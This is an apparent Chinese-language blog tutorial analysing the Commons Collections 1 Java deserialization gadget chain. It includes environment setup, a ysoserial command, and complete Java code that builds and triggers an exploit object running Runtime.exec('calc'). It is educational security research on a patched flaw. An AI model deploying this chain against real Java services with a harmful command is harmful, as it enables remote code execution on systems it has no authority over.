【java安全】反序列化 - CC1链

java安全-反序列化-CC1链

CC1 是「Commons Collections 1」的简称,是 Java 反序列化漏洞中最经典、最基础 的利用链,核心利用 Apache Commons Collections 3.x(≤3.2.1)的漏洞,结合 JDK 自身的类(如 AnnotationInvocationHandler),实现反序列化触发任意代码执行。

前提:

CC1 链能生效的两个必要条件(缺一不可):

依赖 / 环境 要求 原因
Commons Collections 版本 3.2.1(≤3.2.1) 3.2.2 及以上修复了InvokerTransformer的反射调用限制(COLLECTIONS-580)
JDK 版本 8u71 及以下(如 8u65、8u71) 8u71 + 修复了AnnotationInvocationHandlerreadObject触发逻辑(JDK-8145066)

一、准备工作

首先导入依赖commons-collections

XML 复制代码
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

下载jdk1.8u65版本

地址:Java 存档下载 --- Java SE 8 | Oracle 中国

记得不要开翻译,不然点击该版本下载链接会下载到其他版本的jdk

下载sun包源码:

jdk8u/jdk8u/jdk: af660750b2f4 /

将下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65/src(需手动解压src.zip)里

在项目的结构的SDK中的源路径添加刚刚的src目录

下载commons-collections 3.2.1源码:Apache Archive Distribution Directory

将源码解压保存在本地的maven-repo仓库

来到项目,左边随便选择一个commons-collections库的文件,点击右上角的选择源

选择刚刚解压的源码目录即可

二、触发示例

使用ysoserial工具生成cc1链执行calc命令,并保存链到cc1.ser文件内

shell 复制代码
java.exe -jar ysoserial-all.jar CommonsCollections1 calc > cc1.ser

创建一个测试类,写入反序列化指定文件方法deserialize

java 复制代码
package com.qdy;

import java.io.*;

public class CC1Debug {
    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }

    public static Object deserialize(String file) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
        Object o = ois.readObject();
        return o;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        deserialize("cc1.ser");
    }
}

将刚刚生成的恶意文件放入项目根路径后执行以上代码

成功执行指定命令calc

三、链分析

复制代码
InvokerTransformer.transform-》TransformedMap.checkSetValue-》AbstractInputCheckedMapDecorator$MapEntry.setValue-》AnnotationInvocationHandler.readObject

1、InvokerTransformer.transform

InvokerTransformer.transform源码如下

红框中的三行代码实现了类反射

java 复制代码
Class cls = input.getClass();  // 获取对象的类
Method method = cls.getMethod(iMethodName, iParamTypes); // 获取对象类的指定方法
return method.invoke(input, iArgs); // 对指定方法传入值

如果input、iMethodName、iParamTypes、iArgs这四个变量可控的话,即可实现执行任意类的方法

input是InvokerTransformer.transform方法传入的参数,可控

其他三个参数是构造方法传入的参数,也是可控的

按照如上分析可以构造如下代码,实现执行命令

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1Debug {

    public static void main(String[] args) {
        // 传入方法名、方法对应需要传入的类型、命令
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        // 传入对象
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

接下来找一下谁调用了InvokerTransformer.transform

可以发现有80多个结果,不过TransformedMap.checkSetValue才是可控的

2、TransformedMap.checkSetValue

TransformedMap.checkSetValue会调用valueTransformer.transform(value)方法

其中valueTransformer值来源于构造函数,是可控的

然后decorate方法调用了构造方法

但是这样还是没办法调用到checkSetValue方法,查看调用该方法的地方仅有一个

AbstractInputCheckedMapDecorator.MapEntry.setValue

AbstractInputCheckedMapDecorator 类继承AbstractMapDecorator ,而AbstractMapDecorator 实现了接口Map

所以我们想要调用setValue ,直接使用MapentrySet()方法遍历即可使用setValue方法即可

构造这里的链

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1Debug {

    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        HashMap hashMap = new HashMap();
        hashMap.put("a", "b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        // 拿到所有键值对条目:为了调用每个条目的setValue
        for (Map.Entry entry : transformedMap.entrySet()) {
            entry.setValue(Runtime.getRuntime());
        }
    }
}

这样就成功利用InvokerTransformer.transform <- TransformedMap.checkSetValue链

接下来就是找入口,查找哪里存在重写了readObject方法的同时调用了setValue方法

3、AnnotationInvocationHandler.readObject

AnnotationInvocationHandler 类就重写了readObject方法,并且调用了steValue方法,所以就以这个类为入口

可以发现memberValues也是可控的,是由构造函数传入的

使用类反射加上前面的代码构造利用链

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1Debug {
    public static void serialize (Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
        oos.writeObject(obj);
    }
    public static void deserialize () throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1.ser"));
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );

//        invokerTransformer.transform(Runtime.getRuntime());
        HashMap hashMap = new HashMap();
        hashMap.put("a","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null, invokerTransformer);
        transformedMap.put("xxx",Runtime.getRuntime());
        // 获取类
        Class classAih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造方法
        Constructor constructor = classAih.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true); // 关闭私有构造的访问检查,允许反射创建实例
        // 实例化
        Object obj = constructor.newInstance(Override.class,transformedMap);
        // 序列化
        serialize(obj);
        // 反序列化
        deserialize();
    }

}
相关推荐
Mr.朱鹏21 分钟前
Nginx路由转发案例实战
java·运维·spring boot·nginx·spring·intellij-idea·jetty
白露与泡影2 小时前
2026版Java架构师面试题及答案整理汇总
java·开发语言
历程里程碑2 小时前
滑动窗口---- 无重复字符的最长子串
java·数据结构·c++·python·算法·leetcode·django
啥都想学点2 小时前
kali基础介绍(Reconnaissance侦察)
安全
qq_229058012 小时前
docker中检测进程的内存使用量
java·docker·容器
我真的是大笨蛋3 小时前
InnoDB行级锁解析
java·数据库·sql·mysql·性能优化·数据库开发
钦拆大仁3 小时前
Java设计模式-单例模式
java·单例模式·设计模式
小手cool3 小时前
在保持数组中对应元素(包括负数和正数)各自组内顺序不变的情况下,交换数组中对应的负数和正数元素
java
笨手笨脚の3 小时前
深入理解 Java 虚拟机-04 垃圾收集器
java·jvm·垃圾收集器·垃圾回收
skywalker_113 小时前
Java中异常
java·开发语言·异常